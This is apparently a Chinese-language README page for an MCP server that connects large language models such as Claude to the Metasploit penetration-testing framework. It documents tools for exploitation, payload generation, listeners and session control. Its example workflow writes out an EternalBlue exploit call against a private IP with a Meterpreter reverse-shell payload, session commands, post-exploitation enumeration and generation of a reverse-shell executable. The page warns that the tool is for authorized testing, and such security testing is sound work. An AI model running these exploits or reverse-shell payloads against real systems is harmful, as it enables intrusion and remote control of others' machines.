Metasploit MCP 服务器
用于 Metasploit 框架集成的模型上下文协议 (MCP) 服务器。
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
描述
该 MCP 服务器在 Claude 等大型语言模型和 Metasploit Framework 渗透测试平台之间架起了一座桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 功能,从而为复杂的安全测试工作流程提供自然语言界面。
特征
模块信息
- list_exploits :搜索并列出可用的 Metasploit 漏洞利用模块
- list_payloads :搜索并列出可用的 Metasploit 有效载荷模块,并可选平台和架构过滤
漏洞利用工作流程
- run_exploit :配置并执行针对目标的漏洞利用,并首先运行检查
- run_auxiliary_module :使用自定义选项运行任何 Metasploit 辅助模块
- run_post_module :针对现有会话执行后利用模块
有效载荷生成
- generate_payload :使用 Metasploit RPC 生成有效载荷文件(在本地保存文件)
会话管理
- list_active_sessions :显示当前 Metasploit 会话的详细信息
- send_session_command :在活动 shell 或 Meterpreter 会话中运行命令
- 终止会话:强制结束活动会话
处理程序管理
- list_listeners :显示所有活动处理程序和后台作业
- start_listener :创建一个新的 multi/handler 来接收连接
- stop_job :终止任何正在运行的作业或处理程序
先决条件
- Metasploit Framework 已安装并且 msfrpcd 正在运行
- Python 3.10 或更高版本
- 所需的 Python 包(请参阅 requirements.txt)
安装
- 克隆此存储库
- 安装依赖项:
- 配置环境变量(可选):
用法
启动 Metasploit RPC 服务:
交通选择
服务器支持两种传输方式:
- HTTP/SSE(服务器发送事件) :与大多数 MCP 客户端互操作的默认模式
- STDIO(标准输入/输出) :与 Claude Desktop 和类似的直接管道连接一起使用
您可以使用--transport
标志明确选择传输模式:
HTTP 模式的附加选项:
Claude 桌面集成
对于 Claude Desktop 集成,配置claude_desktop_config.json
:
其他 MCP 客户端
对于使用 HTTP/SSE 的其他 MCP 客户端:
- 以HTTP模式启动服务器:
- 配置您的 MCP 客户端以连接到:
- SSE 端点:
http://your-server-ip:8085/sse
- SSE 端点:
安全注意事项
⚠️重要安全警告:
此工具可直接访问 Metasploit Framework 功能,其中包括强大的漏洞利用功能。请谨慎使用,并仅在您拥有明确权限执行安全测试的环境中使用。
- 执行前务必验证并检查所有命令
- 仅在隔离的测试环境中运行或获得适当的授权
- 请注意,后利用命令可能会导致重大的系统修改
示例工作流程
基本利用
- 列出可用的漏洞:
list_exploits("ms17_010")
- 选择并运行漏洞利用程序:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
- 列出会话:
list_active_sessions()
- 运行命令:
send_session_command(1, "whoami")
后期开发
- 运行帖子模块:
run_post_module("windows/gather/enum_logged_on_users", 1)
- 发送自定义命令:
send_session_command(1, "sysinfo")
- 完成后终止:
terminate_session(1)
处理程序管理
- 启动监听器:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
- 列出活动处理程序:
list_listeners()
- 生成payload:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
- 停止处理程序:
stop_job(1)
配置选项
有效载荷保存目录
默认情况下,使用generate_payload
生成的有效载荷会保存到主文件夹中的payloads
目录( ~/payloads
或C:\Users\YourUsername\payloads
)。您可以通过设置PAYLOAD_SAVE_DIR
环境变量来自定义此位置。
设置环境变量:
- Windows(PowerShell) :
- Windows(命令提示符) :
- Linux/macOS :
- 在 Claude 桌面配置中:
**注意:**如果您指定自定义路径,请确保该路径存在或应用程序有权创建该路径。如果路径无效,有效负载生成可能会失败。
执照
Apache 2.0
This server cannot be installed
hybrid server
The server is able to function both locally and remotely, depending on the configuration or use case.
在大型语言模型和 Metasploit 框架之间架起一座桥梁,使 AI 助手能够通过自然语言访问和控制渗透测试功能。
Related MCP Servers
- -securityFlicense-qualityA demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.Last updated -11Python
- -securityFlicense-qualityEnables AI assistants to interact with Metabase, providing access to dashboards, questions, databases, and tools for executing queries and viewing data through natural language.Last updated -JavaScript
- AsecurityFlicenseAqualityA Model Context Protocol server that allows AI assistants to execute and manage JMeter performance tests through natural language commands.Last updated -227Python
- -security-license-qualityA module that enables AI assistants to access and utilize common penetration testing and security tools like Nmap and Metasploit through a simple interface.Last updated -PythonGPL 3.0